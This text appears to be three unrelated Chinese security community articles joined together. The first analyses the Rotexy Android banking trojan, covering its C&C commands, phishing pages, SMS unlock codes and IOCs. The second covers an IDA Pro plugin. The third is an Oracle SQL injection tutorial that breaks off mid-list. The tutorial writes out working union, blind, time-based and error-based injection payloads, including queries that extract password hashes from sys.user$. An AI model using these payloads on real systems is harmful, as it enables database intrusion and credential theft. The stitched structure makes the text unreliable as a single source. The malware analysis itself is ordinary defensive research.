该恶意程序自2014年被发现以来，其主要功能和传播方法没有发生改变：都是通过网络钓鱼短信中包含的链接来传播Rotexy，提示用户安装应用程序。恶意软件在启动时，会请求设备管理员权限，然后开始与C&C服务器通信。
图 木马DEX文件典型类列表
直到2015年中期，Rotexy依然使用JSON格式纯文本与C&C进行通信。C&C地址会在代码中进行指定，也没有经过加密处理：
在某些版本中，恶意软件会使用动态生成的底层域名用作C&C地址。
在第一次通信中，该木马会将受感染设备的IMEI信息发送到C&C，服务器会返回用来处理SMS消息的一套规则（包含电话号码、关键字和正则表达式），这些规则主要适用于来自银行、支付系统和移动网络运营商的SMS信息。例如，该木马可以自动回复短信并立即将原始信息删除。
图 请求服务器返回SMS处理模板以及服务器返回的内容
随后Rotexy会将有关智能手机的一些信息发送给C&C服务器，其中包括手机型号、号码、移动网络运营商名称、操作系统版本和IMEI。
对于后续每个请求，恶意软件都会生成一个新的子域名。生成最底层域名的算法已经事先硬编码到木马的代码中。
该木马还会注册Google Cloud
Messaging（GCM）服务，这意味着它可以通过该服务接收命令。木马可能使用的命令列表在整个生命周期中几乎保持不变，下文将详细介绍这些命令。
木马的`assets`文件夹中包含`data.db`文件，该文件中包含`PAGE`命令（用来下载指定网页）所对应的`User-Agent`字段值。
如果未能从C&C获取该字段值，则木马会使用伪随机算法从`data.db`文件中选择一个值。
图 `data.db`内容
### 2015-2016
从2015年年中开始，该木马开始使用AES算法来加密被感染设备与C&C之间的通信数据：
同样从该版本开始，相关数据会通过POST请求发送到格式为`/[number]`的相对地址（数字采用伪随机生成，范围为0-9999）。
从2016年1月开始，在某些样本中，攻击者已经实现了一种算法，用来从`assets`文件夹中提取经过加密的DEX可执行文件。在此版本的Rotexy中，攻击者并没有使用动态生成的最底层的域名。
### 2016
从2016年年中开始，网络犯罪分子重新使用动态生成的最底层域名。在木马的网络行为中没有出现其他重大变化。
图 木马向C&C发起请求
在2016年末，有些木马变种会在`assets/www`文件夹中包含`card.html`钓鱼页面。该页面的目的是窃取用户的银行卡详细信息：
### 2017-2018
从2017年初开始，木马的`assets`文件夹中开始包含`bank.html`、`update.html`和`extortionist.html`这些HTML钓鱼页面。此外，在某些版本的木马中，网页所使用的文件名为随机字符串。
2018年，Rotexy变种开始出现，该变种使用其IP地址与C&C服务器联系。“一次性”域名随之出现，该域名由随机字符串和数字组成，并且使用`.cf`、`.ga`、`.gq`、`.ml`或者`.tk`作为顶级域名。
此时，木马开始积极使用不同的混淆方法。例如，`DEX`文件中包含垃圾字符串以及/或者垃圾操作，并且包含用来从APK解密主可执行文件的密钥。
## 0x02 最新版分析（2018）
让我们将视线回到当前时间点，开始详细介绍Rotexy变种的最新版本（SHA256：`ba4beb97f5d4ba33162f769f43ec8e7d1ae501acdade792a4a577cd6449e1a84`）。
### 启动应用
在第一次启动时，木马会检查自己是否在仿真环境中启动，以及处在哪个国家/地区。如果设备位于俄罗斯境外或者是模拟器环境，则应用程序将显示一个伪装页面：
在这种情况下，木马的日志中会包含使用俄语的一些记录，记录中还存在语法错误和拼写错误：
如果检查通过，Rotexy会向GCM注册并启动`SuperService`，以跟踪木马是否具有设备管理员权限。如果被停止运行，`SuperService`还会跟踪自己的状态并重新启动。木马每秒执行一次特权检查，如果不具备这个权限，木马会向用户无限循环请求这些权限：
如果用户同意并赋予应用程序所请求的权限，则木马会显示另一个页面，并且隐藏自身图标：
如果木马检测到用户试图撤销其管理员权限，则会立即关闭手机屏幕，尝试停止用户操作。如果成功撤销权限，则木马会重新不断请求管理员权限。
如果由于某种原因，当用户试图撤销木马设备管理员权限时，`SuperService`并没有关闭屏幕，那么木马会试图警告用户：
在程序运行时，Rotexy会跟踪以下操作：
1、打开并重启手机；
2、终止木马运行：在这种情况下，木马会重新启动；
3、应用程序发送短信：在这种情况下，手机将切换到静音模式。
### C&C通信
默认的C&C地址已经硬编码到Rotexy代码中:
木马将以伪随机算法生成相对地址，将信息发送到该地址。对于不同的木马版本，有些变种还可以使用动态生成的子域名。
图 在这个木马样本中，`Plugs.DynamicSubDomain`的值为`false`，因此不会生成子域名
木马将与C&C服务器有关的信息以及从被感染设备收集的数据存储在本地的SQLite数据库中。
首先，木马会在管理面板中注册，并从C&C服务器接收操作所需的信息（即SMS拦截模板和将在HTML页面上显示的文本）：
Rotexy会拦截收到的所有SMS消息，并根据从C&C服务器收到的模板来处理这些消息。此外，当收到短信时，木马会将手机置于静音模式并关闭屏幕，使用户不会注意到已到达的新短信。在需要时，木马会将拦截的SMS发送到指定的电话号码（在拦截模板中指定是否必须发送回复消息，以及应将哪个文本发送到哪个地址）。如果应用程序未收到如何处理SMS消息的规则，则只会将所有SMS保存到本地数据库，并将这些消息上传到C&C服务器。
除了关于当前设备的普通信息外，木马还会将正在运行的所有进程和已安装的应用程序列表发送给C&C服务器。攻击者可能会使用该列表来查找正在运行的防病毒或银行应用程序。
Rotexy收到相应的命令后会执行后续操作：
* START, STOP, RESTART — 启动、停止和重启`SuperService`。
* URL — 更新C&C地址。
* MESSAGE – 将包含特定文本的SMS消息发送到指定号码.
* UPDATE_PATTERNS – 在管理面板中注册
* UNBLOCK – 取消对电话的锁定（撤消应用程序中的设备管理员权限）。
* UPDATE – 从C&C服务器下载并安装APK文件。该命令不仅可用来更新应用程序，还可以用来在被感染设备上安装任何其他软件。
* CONTACTS – 将从C&C服务器收到的文本发送给所有用户联系人。这很可能是应用程序的传播方式。
* CONTACTS_PRO – 从地址簿中请求与某个联系人对应的特定消息文本。
* PAGE – 使用从C&C或本地数据库中的`User-Agent`值，以便从C&C服务器接收URL。
* ALLMSG – 向C&C发送用户收到和发送的所有短信，也包括存储在手机内存中的所有短信。
* ALLCONTACTS – 将手机内存中的所有联系人发送到C&C服务器。
* ONLINE – 将木马当前状态相关信息发送给C&C服务器：是否具有设备管理员权限、当前显示的HTML页面、屏幕处于打开还是关闭状态等。
* NEWMSG – 将SMS写入设备存储器，其中包含从C&C发送的文本和发件人号码。
* CHANGE_GCM_ID – 更改GSM ID。
* BLOCKER_BANKING_START – 显示网络钓鱼HTML页面，用来输入银行卡详细信息。
* BLOCKER_EXTORTIONIST_START – 显示勒索软件的HTML页面。
* BLOCKER_UPDATE_START – 显示伪造为更新页面的HTML页面。
* BLOCKER_STOP – 阻止显示所有HTML页面。
Rotexy的C&C服务器不仅可以由Web服务器来承担，还可以由任何可以发送SMS的设备来承担。
木马会拦截传入的SMS消息，并可以从这些消息中接收以下命令：
* “3458” — 从应用程序撤消设备管理员权限；
* “hi”, “ask” — 启用和禁用移动互联网；
* “privet”, “ru” — 启用和禁用Wi-Fi；
* “check” — 将`install: *[device IMEI]*`文本发送到发送该短信的电话号码；
* “stop_blocker” — 停止显示所有已阻止的HTML页面；
* “393838” — 将C&C服务器地址更改为SMS中指定的地址。
Rotexy执行的所有操作相关信息均记录在本地数据库中，并会发送到C&C服务器。随后服务器会返回响应数据，其中包含下一步要执行的操作。
### 显示HTML页面
现在让我们来分析一下Rotexy可以显示的HTML页面，以及木马会使用这些页面执行哪些操作。
1、木马显示一个伪造的HTML更新页面（`update.html`），可以长时间挡住设备的屏幕。
2、木马显示敲诈设备的敲诈页面（`extortionist.html`），并要求用户支付勒索赎金以解除设备阻止。该屏幕截图中的色情图片已被打上黑色马赛克。
3、木马显示一个网络钓鱼页面（`bank.html`），提示用户输入银行卡详细信息。该页面模仿合法的银行页面，并挡住设备屏幕，直到用户输入所有信息为止。木马甚至拥有自己的虚拟键盘，假装可以保护受害者不受键盘记录器的影响。
在`{text}`标记的区域中，Rotexy会显示从C&C服务器收到的文本。通常该字段为一条消息，声称用户已收到汇款，必须输入用户的银行卡详细信息，才能将钱转移到用户的帐户中。
然后木马会检查用户输入的数据，还还根据C&C服务器命令中发送的数据来检查银行卡号的最后四位数字。具体攻击中可能会出现以下这种情况：根据收到的SMS消息的处理模板，Rotexy会拦截来自银行的消息，该消息中包含与用户电话号码绑定的银行卡的最后四位数字。木马将这些数字发送给C&C服务器，C&C服务器又会返回命令，显示伪装的数据输入窗口以检查这四位数字。如果用户提供了另一张卡的详细信息，则会显示以下窗口：
图 显示提示消息：“您输入的卡片不正确，请输入尾号为1234的银行卡“
这样一来，用户只能输入正确的卡号，因为木马会检查输入的号码是否与攻击者之前收到的银行卡详细信息相匹配。
当用户输入所有必要的银行卡详细信息，并且恶意软件通过卡号检查后，会将所有信息上传到C&C服务器。
## 0x03 如何解锁手机
现在还是有一些好消息可以告诉大家：Rotexy并不具备一个设计精良的模块，用来处理包含在SMS消息中命令。
这意味着在某些情况下，当手机被上述几个HTML页面锁定时，我们还是可以解除手机锁定状态。
我们可以通过SMS消息将“3458”文本发送到被锁定的设备来解锁，这将撤销木马的管理员权限。之后，我们还需要将“stop_blocker”文本发送到相同的号码：这将禁止设备显示敲诈并锁定屏幕的HTML页面。Rotexy可能会通过无限循环再次请求设备管理员权限，在这种情况下，请以安全模式重启设备并删除恶意程序。
但是，如果攻击者能够对尝试删除木马的行为快速做出反应，则这种方法可能无法奏效。在这种情况下，我们首先需要通过SMS消息将文本“393838”发送到被感染的设备，然后重复上述操作。这条短信会将C&C服务器地址更改为“://”，这样一来手机将不再接收来自实际C&C服务器的命令。
请注意，这些解锁指令只适用于当前版本的Rotexy，并已做过解锁测试。但是，在未来版本的木马中，所使用的命令集可能会发生变化。
## 0x04 Rotexy攻击的地理区域
根据我们观测到的数据，98%的Rotexy攻击针对的都是俄罗斯用户。实际上，这个木马明确针对的是以俄语为母语的用户。乌克兰、德国、土耳其和其他几个国家的用户也会受到影响。
适用于Android系统的Kaspersky Internet Security和Sberbank Online应用程序可保护用户免受此木马攻击。
## 0x05 IOC
SHA256
0ca09d4fde9e00c0987de44ae2ad51a01b3c4c2c11606fe8308a083805760ee7
4378f3680ff070a1316663880f47eba54510beaeb2d897e7bbb8d6b45de63f96
76c9d8226ce558c87c81236a9b95112b83c7b546863e29b88fec4dba5c720c0b
7cc2d8d43093c3767c7c73dc2b4daeb96f70a7c455299e0c7824b4210edd6386
9b2fd7189395b2f34781b499f5cae10ec86aa7ab373fbdc2a14ec4597d4799ba
ac216d502233ca0fe51ac2bb64cfaf553d906dc19b7da4c023fec39b000bc0d7
b1ccb5618925c8f0dda8d13efe4a1e1a93d1ceed9e26ec4a388229a28d1f8d5b
ba4beb97f5d4ba33162f769f43ec8e7d1ae501acdade792a4a577cd6449e1a84
ba9f4d3f4eba3fa7dce726150fe402e37359a7f36c07f3932a92bd711436f88c
e194268bf682d81fc7dc1e437c53c952ffae55a9d15a1fc020f0219527b7c2ec
C&C服务器地址
2014–2015：
* secondby.ru
* darkclub.net
* holerole.org
* googleapis.link
2015–2016：
* test2016.ru
* blackstar.pro
* synchronize.pw
* lineout.pw
* sync-weather.pw
2016：
* freedns.website
* streamout.space
2017–2018：
* streamout.space
* sky-sync.pw
* gms-service.info | 社区文章 |
**作者：PtGiraffe@银河安全实验室
公众号：<https://mp.weixin.qq.com/s/p81UG0BKGhAeHjBuEhrx-g>**
最近，在使用IDA Pro研究iOS应用的过程中，我发现，虽然IDA
Pro和神奇的Decompiler插件能够以超高的还原度生成大部分的源代码，但如果想要针对某一个方法跟踪交叉引用（Cross
Reference）的话，会发现其中缺失了许多实际存在的交叉引用，这对于静态分析工作的完整性造成了极大的挑战。
DUO Labs在[https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro](http://galaxylab.com.cn/go/?url=https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro)发布了一篇文章，提到了IDA
Pro中的这个问题，解释了其中的原理，并开发了一款工具，帮助逆向研究者更全面地获取交叉引用的信息。
### Objective-C与IDA Pro交叉引用
Objective-C是C语言的变体。用它开发的程序与Objective-C
Runtime共享库链接。这个库实现了整个对象模型来支持Objective-C。
Runtime的目标之一是尽可能动态。这样的设计会对对象的函数调用产生影响。在Objective-C中，函数方法的调用被称为消息传递。对象一旦接收到这些消息，会调用其中的一个对象的方法。Runtime在运行时动态解析方法调用。Objective-C源代码中的方法调用由编译器转换为Runtime函数`“objc_msgSend()”`的调用。
在这里，我们将仔细研究一下IDA Pro模块REobjc，该模块将调用`objc_msgSend()`的正确交叉引用添加到被调用的实际函数中。
如果从一个方法到另一个方法的调用被编译为对`objc_msgSend()`的调用，这样运行时调用的实际函数将不会反映在IDA
Pro的交叉引用中。`objc_msgSend()`的函数签名定义如下：
id objc_msgSend(id self, SEL op, ...)
对于任何的Objective-C方法调用，前两个参数是对象的self指针以及selector，selector参数是调用方法对应的字符串表示。带参数的Objective-C方法将在selector之后按顺序传递参数。
### 编译Objective-C程序
下面的代码示例为一个简单的Objective-C源代码。此init方法包括4个Objective-C方法调用。
从概念上讲，编译器读取上面的Objective-C方法，并将它们编译成类似于以下内容的C代码。这个C代码示例实际上来自于IDA
Pro的反编译器输出，它很好地说明了编译器如何将Objective-C调用转换为C。
如图所示，[super init]被转换为对`objc_msgSendSuper2()`的调用。这是初始化子类时的常见做法。[NSString
string]被转换为`objc_msgSend()`调用，该调用被发送到NSString的对象。对于有参数的类方法的调用，[NSMutableData
dataWithLength：_length]也被转换为对`objc_msgSend()`的调用。
示例中的最后一个Objective-C调用[[BTGattLookup alloc] init]展示了一个常见的allocate-initialize模式。首先，BTGattLookup类收到alloc消息，构造出了该类的实例。然后使用第二个`objc_msgSend()`调用init。
如果生成对应英特尔X64架构的二进制文件，调用将依照英特尔X64
ABI。函数参数按照RDI，RSI，RDX，RCX，R8，R9的顺序在寄存器中传递。这意味着RDI寄存器保存自指针，RSI寄存器保存选择器指针。如有参数，将从RDX寄存器开始保存。
如果要在IDA中添加从一个Objective-C函数到另一个Objective-C函数正确的交叉引用的话，就必须知道RDI和RSI寄存器中的值。对于大多数`objc_msgSend()`调用，这两个寄存器中的值通常很容易获取。
不过，除了上述方法调用方式之外，编译器可能也会使用其他方式。在X64上，编译器通常使用CALL和JMP指令生成函数调用。其他的可能性有使用条件跳转指令或直接分配方法给指令指针，但是概率很小。
编译器还可以将函数调用编码为间接调用或直接调用。在间接调用的情况下，指令参数是寄存器。在直接调用的情况下，指令参数是对内存位置的引用。不管哪种情况，都必须确定CALL或JMP是否引用了`objc_msgSend()`。
此外，为了正确生成交叉引用，必须跟踪函数调用的返回值。在X64中，函数调用的返回值存储在RAX寄存器中。如果在源码中首先alloc一个对象，然后对生成的对象实例执行方法调用，则需要跟踪存储在RAX中的对象指针的类型，以正确理解调用`objc_msgSend()`时传递的对象。
### REobjc Idapython模块
REobjc idapython模块的主要目的是在Objective-C方法之间创建交叉引用。要使用REobjc，打开IDA
Pro命令窗口并执行以下Python脚本：
idaapi.require(“reobjc”)
r = reobjc.REobjc(autorun = True)
### REOBjc深入
要定位到我们关注的Objective-C
Runtime调用，首先需要理解编译器可以通过多种方式在二进制中对调用进行编码。无论是直接的还是间接的调用，都有多种方式对调用指令进行编码。
所有Objective-C程序都链接了Objective-C Runtime，因此，所有调用最终都会进入导入的libobjc.dylib库。
通常，程序将包含一个插桩（stub）函数，它只执行无条件跳转到`objc_msgSend()`函数。这允许程序在任意地址加载并且正确调用库。
在REobjc模块中，将通过识别`objc_msgSend()`的所有调用形式来识别方法调用。调用的目标可能是_objc_msgSend，可能是`__imp__objc_msgSend`形式的导入指针。模块将查找当前数据库中所有相关的内容。
模块使用API
idautils.Names()检索IDA数据库中所有的名称，然后通过正则表达式匹配目标函数，将匹配存储在数组中。分析时，每个候选调用或跳转指令都与Objective-C
Runtime函数列表进行比较，记录使用任意形式的objc_msgSend()调用，并添加到交叉引用列表中。
随后模块迭代二进制文件中的所有函数，并且对于每个函数，迭代其中所有的指令。当识别出CALL或JMP指令时，模块确定指令的对象。如果对象是寄存器，则从CALL或JMP指令向前寻找寄存器的值。直接调用相比较为简单，可以立即获得CALL或JMP的对象。无论哪种情况，如果目标是`objc_msgSend()`，则CALL或JMP很有可能添加交叉引用。
当识别出`objc_msgSend()`的调用时，必须标识前两个函数参数。如上文所述，第一个参数指向接收Objective-C消息对象的指针。第二个参数是指向传递给对象的selector或消息的指针。由`resolve_register_backwalk_ea()`方法解析寄存器的值。
如上文所述，这里有两个寄存器需要特别关注。
RAX寄存器将保存先前CALL指令的返回值，因此`REobjc.resolve_register_backwalk_ea()`将通过CALL来跟踪RAX。此外，由于RDI寄存器用作Objective-C中的self指针，因此有些情况下RDI未在函数内显式设置。这是因为这些目标函数是在自己的self指针上调用方法。因此，当往回寻找时，如果RDI目标寄存器并且未显式设置，则代码将确定该方法来自当前类。
一旦为RDI和RSI寄存器解析了self和selector指针，模块将对可能方法尝试创建交叉引用。这是通过利用IDA Pro中现有的Objective-C支持来完成的。模块函数`REobjc.objc_msgsend_xref`将处理交叉引用的创建。该函数获取CALL的位置，以及设置RDI和RSI的位置，并尝试添加适当的交叉引用。
目前模块只能添加在当前二进制文件中方法的交叉引用，之后会尝试添加导入的库中方法的交叉引用。
### REobjc：实践
接下来，我将通过搭建实际的iOS测试工程来实践不同方法调用方式的效果以及REobjc模块对完善交叉引用记录的效果。
首先，我们看一下最基础的一个调用。每一个ViweController都会默认调用父类中的viewDidLoad方法。
把工程编译后，在IDA Pro中看到的汇编代码如下：
使用Decompiler插件生成伪代码后：
可以发现，IDA
Pro很好地还原了方法调用的逻辑。查看交叉引用信息，发现IDA也识别出了该调用。只不过，识别出来的被调用函数为msgSendSuper2，并不是我们想要的viewDidLoad。
我们运行REobjc后发现，交叉引用中添加了一条记录，表示ViewController的viewDidLoad方法被调用。DUO
Labs作者在文章中也提到，目前的版本在正确识别父类方法调用上会有问题，可能会将子类的方法调用交叉引用添加到父类中，这就导致了我们在子类的交叉引用中看到了这条指向自己的记录。
接下来我们自己编写一个方法，在Lion类中新建一个实例方法lionFirstMethod如下：
可以看到方法中仅调用了NSLog用来打印调试语句。我们在工程其他方法中有两处引用了该方法，可以在搜索中看到：
接下来我们在IDA Pro中查看交叉引用信息，发现IDA Pro一个也没有识别出来（因为都识别成了msgSend）。
其实，这个结果是让我有点吃惊的，毕竟代码中写的还是非常直白的。
从生成的伪代码中也可以清晰地看出方法调用
随后我们尝试使用REobjc模块进行补完，发现交叉引用中正确地添加上了两条引用记录。
接下来，我们再做一个尝试。我们在Lion类中添加一个类方法，并且使用反射的方式引用类和该类方法。
不出意外，我们发现，IDA
Pro并没有识别出该调用（仅识别出了msgSend，没有识别出performSelector，更不用说lionClassMethod了）。
当我们尝试使用REobjc进行补完，发现也没有识别出来最终的lionClassMethod。
总体来说，REobjc对一些基础的方法调用进行了补充，可以说完善了IDA Pro在Objective-C方面的一些缺陷，但是在更加细节的方面需要进行加强。另外，REobjc还没有针对arm架构的版本，我们使用模拟器进行编译的可执行文件可以使用REobjc，但是对于实际需要进行逆向分析的目标应用，通常无法获取非arm版本，所以后续我们也会尝试针对arm平台进行补充完善。
参考：[https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro](http://galaxylab.com.cn/go/?url=https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro)
* * * | 社区文章 |
# Oracle注入学习
最近学习过程中碰到了有使用oracle数据库的站，但是最后没有拿下来 太菜了ORZ
所以学习了一下oracle注入，oracle其他的洞还在学习中ing...
## Oracle数据库
[Oracle安装](https://blog.csdn.net/godot06/article/details/105976048)
先来了解一下oracle数据库：
Oracle Database，又名Oracle
RDBMS，或简称Oracle。是甲骨文公司的一款关系数据库管理系统，系统可移植性好、使用方便、功能强，适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。
### **oracle数据库**
把`数据库`(Database)可以看成是一个大仓库，然后仓库里面又很分了很多的`库房`(Schema)，一个Schema就是一个库房，那么库房里面自然就有很多`货架`(Table)，
那么货架上就可以放很多你想存储的东西，有行有列，所以货架(Table)就是数据存储的基本单位。每个库房(Schema)都会有一个`管理人员`(User),这个关系是对应的，每个User只管理自己相应Schema里面的数据，如果你想要其他Schema里面的数据，就看管理这个Schema的User给不给你权限了，或者说看`上一级领导`(DBA)有没有给你这个权限，可能有的User管理着好几个Schema。如果你是仓库的`老板`，那么仓库里面的所有东西都是你的，你想存储什么或丢掉什么都是老板话算，还可以给下层的人分配不同的权限，比如仓库的不同主管，有的主管可能只读，有的主管有读写权限，这个就要涉及到仓库不同的`角色`(Role)，角色是一个权限的集合，不同的角色有不同的权限去管理这个数据库。
### **一些基本概念**
1)SID(Site ID)：一个由字母和数字组成的系统标识符用来做实例的唯一性的区别，包含了至少一个应用程序的实例和数据存储设备
2)实例(Instance):由一个实例数字(或是一个引导ID：SYS.V_$DATABASE.ACTIVATION#）表示，包含了一个操作系统程序的集合和与存储设备进行交谈的内部结构
ORACLE实例 = 进程 + 进程所使用的内存(SGA)
* 进程：负责接受和处理客户端传来的数据，如 Windows 下由 oracle.exe 进程负责分发和处理请求
* SGA:全称为 `System Global Area`(系统全局区域)。实际上是内存中的一片共享区域，其中包含实例配置、数据缓存、操作日志、SQL命令、用户信息等信息，由后台进程进行共享
3)数据库：一般指物理存储的文件，Oracle 数据库除了基本的数据文件，还有`控制文件`和 `Redo 日志`(重做文件 + 控制文件 + 数据文件 +
临时文件)，这些文件一般存储在$ORACLE_HOME\oradata...路径下，后缀名后DBF
[关于`实例`和`数据库`之间的关系](https://yq.aliyun.com/articles/134241)
简而言之，实例是临时性的，数据库是永久性的，一个数据库可以对应多个实例，而一个实例只能对应一个数据库
### **Oracle数据结构**
逻辑结构：表空间-->段-->区-->块
物理结构：
Oracle关系型数据库管理系统从逻辑上把数据保存在`表空间内`，在物理上以数据文件的形式存储。表空间可以包含多种类型的`内存区块`，例如数据区块（Data
Segment）、索引区块（Index Segment）等等。区块相应的由一个或多个扩展（extent）组成
`表空间`(Tablespace)：数据文件就是由多个表空间组成的，这些数据文件和相关文件形成一个完整的数据库(以下的DBF后缀就是数据库默认创建的表空间)
* SYSTEM表空间：包含了`数据字典`以及（默认的）`索引`和`集群`。数据字典包含了一个保存了所有数据库中用户对象的信息的`表`,用于存储系统表和管理配置等基本信息
* SYSAUX表空间：是SYSTEM表的一个辅助表空间，主要存放一些系统附加信息，用来降低SYSTEM表空间的负载
* TEMP表空间：是个临时表空间，主要用途是在数据库进行排序运算、管理索引、访问视图等操作时提供临时的运算空间，运算完后系统自动清理，可减少内存负担(temp表的大小也会一直增长)
* UNDOTBS表空间：用于事务回退的表空间，存放撤销数据
* USERS表空间：通常用于存放`应用系统`所使用的数据库对象，存储我们定义的表和数据
* EXAMPLE表空间：存放各实例的相关数据
### 权限和用户
* DBA: 拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构。
* RESOURCE:拥有Resource权限的用户只可以创建实体，不可以创建数据库结构。
* CONNECT:拥有Connect权限的用户只可以登录Oracle，不可以创建实体，不可以创建数据库结构
一般oracle数据库安装成功后会创建几个默认用户`sys`、`system`、`public`等
[oracle数据库权限详解](https://www.cnblogs.com/yw0219/p/5855210.html)
### 基本语法
这里使用了解一些基本语法的话，就了解一些跟mysql不一样的地方
Oracle
使用查询语句获取数据时需要跟上表名，没有表的情况下可以使用dual，dual是Oracle的虚拟表，用来构成select的语法规则，Oracle保证dual里面永远只有一条记录
都是遵守的SQL标准语法
* select 必须要指明表名。也可以用 `dual` 作为表名来对非真实的表进行查询
* Oracle 中空字符串`''`就是`null`（也就是说oracle只有`null`，没有空字符)
* Oracle使用 `||` 拼接字符串，MySQL中为或运算
* oracle的单引号与mysql一样的，只不过oracle的双引号是用来消除系统关键字的
* Oracle中limit应该使用虚表中的rownum字段通过where条件判断
select * from pyy where rownum = 1;
* Oracel的单行注释符是--，多行注释符是/**/
Oracle的系统表:
* dba_tables : 系统里所有的表的信息，需要DBA权限才能查询
* all_tables : 当前用户有权限的表的信息
* user_tables: 当前用户名下的表的信息
* DBA_ALL_TABLES：DBA 用户所拥有的或有访问权限的对象和表
* ALL_ALL_TABLES：某一用户拥有的或有访问权限的对象和表
* USER_ALL_TABLES：某一用户所拥有的对象和表
`user_tables` 的范围最小，`all_tables` 看到的东西稍多一些，而 `dba_tables` 的信息最全
**DBA_TABLES >= ALL_TABLES >= USER_TABLES**
### 数据库信息
* 获取数据库版本：
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
具体注入的语句：
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
* 获取操作系统版本：
SELECT banner FROM v$version where banner like 'TNS%';
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +
* 获取当前用户权限的所有数据库：
SELECT DISTINCT owner, table_name FROM all_tables;
* 获取当前数据库：
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
* 获取用户相关信息：
SELECT user FROM dual;获取当前数据库用户
SELECT username FROM all_users ORDER BY username;列出所有用户
SELECT name FROM sys.user$; — priv;列出所有用户
列出密码哈希:
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ — priv; 11g
获取数据库所有用户:
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv;
SELECT * FROM session_privs; 获取当前用户权限
SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限
获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
获取所有数据库用户密码
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;
列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
SELECT name FROM V$DATAFILE; 获取DB文件路径
* 获取字段名和表名
SELECT table_name FROM all_tables; 获取表名
SELECT column_name FROM all_tab_columns; 获取字段名
### oracle基本函数
[基本函数](https://www.cnblogs.com/Johnny_Z/archive/2010/10/31/1865673.html)
## Oracle注入
### 常规注入类型
基本类型和mysql其实都差不多
* 盲注
**1)布尔盲注**
利用字符串相关函数，对逐个字符进行比较猜解来获取数据
http://127.0.0.1/oracle?id=99' and (select substr(user, 1, 1) from dual)='O' -- +
或者利用decode函数+除0(关于decode函数看上面基本函数)
http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user, 1, 1), 'O', (1/1),0) from dual) -- +
或者利用instr函数来进行布尔盲注(从一个字符串中查找指定子串的位置，查询结果中的位置，未找到便返回0，可以通过对子串位置进行遍历和迭代，获取到数据)
?username=user'and 1=(instr((select user from dual),'ADMIN')) --
**2)时间盲注**
利用时间延迟函数配合replace和substr以及decode来进行注入
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'O', 10))=1;
select decode(substr(user,1,1),'O',dbms_pipe.receive_message('olo',10),0) from dual;
select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('pyy', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'P', 1))=1;
也可以利用获取大量数据的语句
select count(*) from all_objects
3) **报错注入**
* **utl_inaddr.get_host_name**
在11g之前不需要任何权限，在11g之后当前的数据库用户必须有网络访问权限
select utl_inaddr.get_host_name((select user from dual)) from dual;
* **ctxsys.drithsx.sn**
处理文本的函数，传入参数错误的时会报错返回异常
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
* **CTXSYS.CTX_REPORT.TOKEN_TYPE**
用于处理文本，也会出现参数错误返回异常
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
* **XMLType**
XMLType是oracle系统定义的数据类型，系统预定义了内部函数去访问XML数据
select XMLType('<:'||(select user from dual)||'>') from dual;
PS：调用的时候必须以<:开头和>结尾，即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62）;如果返回的数据种有空格的话，会自动截断，导致数据不完整，这种情况下需要先转为 hex，再导出(或者有replace函数替换成其他非空字符)
* **dbms_xdb_version.checkin**
select dbms_xdb_version.checkin((select user from dual)) from dual;
* **dbms_xdb_version.makeversioned**
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
* **dbms_xdb_version.uncheckout**
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
* **dbms_utility.sqlid_to_sqlhash**
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
* **ordsys.ord_dicom.getmappingxpath**
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
* **UTL_INADDR.get_host_name**
select UTL_INADDR.get_host_name((select user from dual)) from dual;
* **UTL_INADDR.get_host_address**
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
* 联合注入
跟mysql一样利用union拼接select来进行联合注入(步骤也和mysql差不多)
Tips:Oracle的数据类型是强匹配的，所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的，也可以使用null代替某些无法快速猜测出数据类型的位置，最后查询返回指定的记录时，oracle没有limit函数，要通过'>=0<=1'这种形式来指定
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5
1)先用order by来判断列数
?id=-1'% order by 10 --
2)判断列数后使用null代替来注入数据
?id=-1' union select null,null,null,null,null,null,null,null,null,null from dual --
3)获取当前数据库用户信息和数据库信息参照上面给出的语句
4)注入爆库名
